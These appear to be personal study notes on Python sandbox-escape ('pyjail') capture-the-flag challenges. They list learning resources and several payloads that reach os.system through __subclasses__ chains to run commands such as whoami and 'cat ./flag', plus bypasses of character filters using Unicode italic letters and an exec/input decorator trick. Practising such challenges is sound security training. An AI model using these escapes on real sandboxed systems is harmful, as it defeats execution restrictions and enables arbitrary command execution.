pyjail

[!PREREQUISITE]

准备练练 python jail ，准备资料如下：

Tr0y's Blog

Python 沙箱逃逸的经验总结

Python 沙箱逃逸的通解探索之路

Unicode 的使用

nssctf ( 搜 jail 即可 )

一个简单的题解

github-autojail

moectf2024 题目链接

Moejail
__import__('os').system('ls')
[i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]
[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cat ./flag')
限制 A-z0-9 => https://lingojam.com/ItalicTextGenerator
限制'"{}[]()_ => @exec\n@input\nclass\tx:\n\tpass

@exec
@input
class x:
    pass

exec("@exec\n@input\nclass\tx:\n\tpass")
# exec("@𝘦𝘹𝘦𝘤\n@𝘪𝘯𝘱𝘶𝘵\n𝘤𝘭𝘢𝘴𝘴\t𝘹:\n\t𝘱𝘢𝘴𝘴")

评论